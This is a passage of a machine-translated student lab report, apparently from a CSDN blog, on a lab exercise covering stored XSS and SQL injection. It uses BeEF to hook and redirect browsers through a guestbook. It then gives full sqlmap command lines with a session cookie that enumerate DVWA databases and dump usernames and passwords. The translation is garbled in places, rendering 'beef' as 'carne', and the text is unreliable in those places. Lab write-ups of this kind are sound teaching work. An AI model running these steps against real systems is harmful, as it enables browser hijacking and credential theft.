Teste 3: injeção de XSS e SQL

Conhecimento necessário antes do teste

O conteúdo a seguir é o conhecimento que você precisa entender e dominar antes do teste, e o conteúdo detalhado pode ser movido para este blog para aprender: reserva de conhecimento antes do teste

Parte XSS

1. O que é XSS
2. O que é ataque XSS
3. O que é Cookie
4. Classificação de vulnerabilidades
XSS 5. Defesa XSS

Parte de injeção SQL

1. O que é um ataque de injeção de SQL
? 2. Por que há um ataque de injeção de SQL
? Quando usar ataques de injeção de SQL
4. Introdução ao MySQL
5. Implementar ataques de injeção de SQL
6. Resumo dos métodos para prevenir injeção de SQL


Parte experimental

Objetivo:

Entenda o que é XSS; entenda a implementação de ataques XSS, entenda os métodos de defesa contra ataques XSS; entenda os princípios básicos da injeção de SQL; domine os métodos básicos de scripts PHP para acessar bancos de dados MySQL; domine os métodos básicos para evitar vulnerabilidades de injeção de SQL no design do programa; configuração do site mestre.

Ambiente do sistema:

Kali Linux 2 、 Windows Server

Ambiente web:

Estrutura de rede de comutação

Ferramentas experimentais:

Beef ; AWVS (Acunetix Web Vulnarability Scanner); SqlMAP ; DVWA

Princípio de teste:

Veja o que você precisa dominar antes do teste


Passos experimentais

Parte XSS: Use Beef para sequestrar o navegador do cliente da pessoa atacada

1. Use AWVS para digitalizar o site do livro de visitas

Primeiro, precisamos baixar AWVS e configurar o ambiente experimental:

Construir um site de livro de visitas para GUESTBOOK

Usamos o Windows Server para construir um livro de visitas, primeiro instale o Windows Server na máquina virtual, clique no botão Iniciar, selecione a guia da ferramenta de gerenciamento e clique no sistema de gerenciamento de serviço de informações.
Insira a descrição da imagem aqui
Em seguida, clique com o botão direito do mouse na guia do site, clique em Novo e, em seguida, clique em Site, conforme mostrado na figura abaixo: A
Insira a descrição da imagem aqui
seguir, siga o processo e importe o arquivo do site pré-baixado, conforme mostrado na figura abaixo:
Insira a descrição da imagem aqui
Insira a descrição da imagem aqui
Aqui você deve selecionar uma porta que não está ocupado:
Insira a descrição da imagem aqui
clique em Procurar, Encontre o arquivo correspondente e clique em OK:
Insira a descrição da imagem aqui
aqui está tudo o que você precisa construir para a experimentação:
Insira a descrição da imagem aqui
Em seguida, clicamos com o botão direito do mouse no site recém-construído e clicamos em permissões e, em seguida, clique em Adicionar todos, e as permissões são totalmente controladas , conforme mostrado na figura abaixo:

Insira a descrição da imagem aqui
Insira a descrição da imagem aqui
Então podemos usar para http://127.0.0.1:设置好的端口号/message.aspabrir nosso site, aqui eu uso a porta 8888, então uso http://127.0.0.1:8888/message.aspo site para fazer login:
Insira a descrição da imagem aqui

Digitalizar com AWVS

Em seguida, usamos o AWVS instalado para escanear o site recém-construído. Observe que o host usado para escanear deve estar no mesmo segmento de rede que o host escaneado, caso contrário, você não será capaz de escanear:
Nota: O URL escaneado aqui O endereço IP no meio deve ser o endereço IP do Windows Server 2003 e 8888 é o número da porta. Todos sabem disso
. http://192.168.154.233:8888/index.asp
Insira a descrição da imagem aqui
Então, podemos descobrir que há uma vulnerabilidade XSS em error.asp e add.asp:

Insira a descrição da imagem aqui
Insira a descrição da imagem aqui

2. Kali usa carne para gerar código malicioso

Instale carne

Todos podem não ter o beef instalado no kali, mas não se preocupe, podemos instalá-lo através da seguinte instrução:
Primeiro: sudo apt-get install beef-xss
mude para esta pasta: cd /usr/share/beef-xss
input: ./beefvocê pode começar,
mas! ! !
Na primeira vez, você pode ser lembrado de não usar a conta e a senha padrão, como este:
Insira a descrição da imagem aqui
Alguns erros podem ocorrer ao usar essas ferramentas, mesmo que você possa estar confuso, não entre em pânico, porque bem, você vê Não o sistema nos dá um prompt muito claro? Se você realmente não entende, você pode pesquisar no Baidu ou perguntar aos caras grandes ao seu redor ... sempre há um caminho.
Não há muito a dizer, aqui seguimos as instruções dadas para inserir o arquivo para modificar a senha padrão:
abra-o com o vim: sudo vim /etc/beef-xss/config.yaml
Insira a descrição da imagem aqui
pressione E para editar de acordo com o prompt, pressione 'I' para inserir a modificação, iremos definir a senha padrão e conta Faça alterações:
Insira a descrição da imagem aqui
finalmente entre e :wqpressione enter, salve e saia:
Insira a descrição da imagem aqui
aqui eu defino a senha e a conta para admin, após completar as operações acima, podemos ./beef
Insira a descrição da imagem aqui
ver que nossa porta foi aberta com sucesso, e então vamos para o navegador Entrada: http://127.0.0.1:3000/ui/authenticationEm seguida, pule para a interface de login de beef e insira nossa senha modificada:
Insira a descrição da imagem aqui
Após fazer o login, visitamos o código malicioso dentro do hook.js

Insira a descrição da imagem aqui
Enquanto você visitar o site, seu navegador será sequestrado. Até agora, temos usado a carne bovina com sucesso para gerar código malicioso. Não é simples? Afinal, não escreva o código.

3. Visite http: // guestbook website / message.asp e escreva um código malicioso

Agora usamos kali para fazer login no site do livro de visitas. Aqui, devemos garantir que nosso invasor e a parte atacada estejam no mesmo segmento de rede, ou seja, em um estado em que possa ser executado o ping.
Aqui, vamos usar o ip do invasor para fazer login no site do livro de visitas: http://192.168.154.233:8888/Message.asp
e depois atacar, escrevemos o código malicioso e comentamos:
Insira a descrição da imagem aqui
aqui você pode ver que nosso código está faltando no comentário, indicando que foi carregado com sucesso afim disso. Insira a descrição da imagem aqui
Você pode ver que, quando eu navegar na página novamente, uma caixa de diálogo para executar o script aparecerá. Agora, todos os navegadores que navegam na página serão sequestrados. Podemos ir para a carne e ver que nosso navegador foi sequestrado:

Insira a descrição da imagem aqui
Insira a descrição da imagem aqui
Insira a descrição da imagem aqui

4. Invada o navegador e configure o site sequestrado

De acordo com os requisitos do experimento, somos obrigados a redirecionar o site para o site oficial da nossa escola. Para proteção de privacidade, não preciso do endereço do site oficial da minha escola. Aqui, mudo para o site da Bilibili:
Primeiro, vamos primeiro selecionar o navegador sequestrado, ir para a guia Comandos e selecionar redirecionar para o navegador, na barra de endereço à direita, substituir o endereço pelo endereço que queremos substituir: https://www.bilibili.com/e então você pode ver o navegador sequestrado Irá para a página da web substituída:
Insira a descrição da imagem aqui

5. Que tipo de ataques XSS estão no experimento?

O tipo de ataque XSS neste experimento pertence ao XSS injetado, e o
princípio do ataque XSS injetado: Este tipo de vulnerabilidade XSS significa que os dados (código malicioso) inseridos pelo usuário podem ser "armazenados" no servidor, desde que conforme alguém acessa as páginas de código XSS armazenadas, os scripts XSS são executados em seus navegadores, este XSS tem forte estabilidade. Portanto, também é chamado de "XSS persistente".

Parte de injeção de SQL: DVWA + SQLmap + combate de injeção de Mysql

1. Construção do ambiente experimental

Metasploitable2 tem uma plataforma DVWA integrada, então abrimos diretamente a máquina virtual Metasploitable2 e a utilizamos http://Metasploitable的IP/dvwapara fazer o login na plataforma DVWA.
Ou você pode construir uma plataforma DVWA sozinho. Aqui, postarei um blog sobre como construir uma plataforma de prática de vulnerabilidade DVWA.
Aqui usamos Metasploitable2 para construí-lo. A conta de login inicial é admin e a senha é a senha.

Insira a descrição da imagem aqui
Em seguida, selecione o baixo nível de dificuldade no nível de segurança para iniciar o teste:

Insira a descrição da imagem aqui

Digite 1 na caixa de entrada,
ID de retorno : 1
Nome: admin
Sobrenome: admin
volte ao normal;
digite 1'novamente , informe
um erro , retorne Você tem um erro na sintaxe SQL; verifique o manual que corresponde ao seu servidor MariaDB versão para a sintaxe correta usar próximo a''1 '' 'na linha 1
Neste momento, pode-se concluir que há uma vulnerabilidade de injeção de SQL,

Insira a descrição da imagem aqui
Insira a descrição da imagem aqui

O seguinte usa sqlmap para atacar

Sintaxe básica do SQLMAP:

  • u: Especifique o URL de destino
  • cookie: o valor do cookie da sessão atual
  • b: Obtenha o tipo de banco de dados e verifique a identificação do sistema de gerenciamento de banco de dados
  • current-db: obtém o banco de dados atual
  • current-user: obtém o usuário atualmente usado pelo banco de dados
  • string: quando a consulta pode ser usada para corresponder à string na página
  • usuários: enumerar usuários DBMS
  • senha: Enumere o hash de senha do usuário DBMS

2. Enumere o nome do banco de dados usado atualmente e o nome do usuário

De acordo com a sintaxe básica do SQLMAP listada acima, primeiro o usamos -u+urlpara especificar o destino, depois o usamos --cookie+我们抓到的cookiepara verificar nossa identidade e, finalmente, o usamos --current-dbpara acessar o banco de dados atual.
Portanto, o último comando que usamos é:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-db

Como mostrado em nosso banco de dados atual: dvwa,
Insira a descrição da imagem aqui
então também precisamos verificar o que o usuário atual, aqui só precisamos estar um pouco acima da instrução pode ser modificada, os últimos dados acessados ​​devem --current-dbser alterados --current-user.
Portanto, a frase que usamos é: sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --current-user
Na figura abaixo, você pode ver que o usuário atual é: root @%
Insira a descrição da imagem aqui

3. Enumere o banco de dados atual

Aqui estão alguns outros usos do SQLMAP

  • -Dbs: Enumera o banco de dados atual
  • -D nome do banco de dados: especifica o banco de dados
  • -Tables: enumere todas as tabelas no banco de dados especificado
  • -D: o banco de dados especificado
  • -T: Especifique a tabela de dados no banco de dados
  • -Colunas: obter informações da coluna
  • -C: Enumere as colunas na tabela de dados
  • -Dump: armazena entradas da tabela de dados

Primeiro, enumeramos o banco de dados, use --dbspara enumerar o banco de dados atual:
sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" --dbs

Neste momento, devemos prestar atenção a alguns problemas: precisamos executar comandos no diretório sqlmap-dev. Quando o sistema pergunta se você é sim ou não, quando inserimos y ou n, ele não diferencia maiúsculas de minúsculas. a entrada estiver completa, pressione Enter.
Insira a descrição da imagem aqui

4. Enumere o banco de dados e a tabela de dados do banco de dados especificado

Primeiro usamos o -D+数据库名称banco de dados de posicionamento e depois usamos para --tableslistar todas as tabelas no banco de dados dvwa.
A declaração específica é a seguinte:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa --tables
Insira a descrição da imagem aqui

5. Obtenha as informações de todas as colunas no banco de dados e tabela especificados

Aqui, primeiro usamos o -D+数据库名称banco de dados de posicionamento e, em seguida, usamos -T usera tabela de dados do usuário no banco de dados especificado e, em seguida, usamos --columnspara obter as informações de todas as colunas no banco de dados e na tabela.
A declaração específica é a seguinte:sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users --columns

Insira a descrição da imagem aqui

Enumere todos os nomes de usuário e senhas na tabela de dados especificada e até o local

Na etapa anterior, obtivemos as informações de todas as colunas da tabela do usuário. Nas informações da coluna, podemos ver que existem duas colunas de usuário e senha. Olhando para o nome, podemos supor que o nome de usuário e a senha precisamos estar entre esses dois em. Portanto, usamos -Cpara enumerar as colunas na tabela de dados e, em seguida, usamos --dumppara armazenar os dados obtidos localmente.
Os comandos específicos são os seguintes: sqlmap -u "http://192.168.154.133/dvwa/vulnerabilities/sqli/?id=1%27&Submit=Submit#" --cookie "security=low; PHPSESSID=da2e3868261758a55961a428cb5b5ff8" -D dvwa -T users -C user,password --dump
você pode ver que os dados da tabela são o nome de usuário e a senha que desejamos.
Insira a descrição da imagem aqui
Em seguida, abrimos o arquivo salvo no arquivo de acordo com o caminho fornecido:
Insira a descrição da imagem aqui
usamos o cdcomando para mudar para o diretório onde o arquivo está localizado e, em seguida, usamos para cat file1 +文件名abrir o arquivo:
Insira a descrição da imagem aqui
podemos ver que salvamos com sucesso o nome de usuário e senha localmente.

Resumindo

Nesta experiência, aprendi:

  • O que é ataque XSS
  • Tipos de ataques XSS
  • Uso básico de AWVS
  • O que é um ataque de injeção SQL
  • Alguns ataques XSS simples e ataques de injeção SQL

Acho que você gosta

Origin blog.csdn.net/yghlqgt/article/details/110147117
Recomendado
Clasificación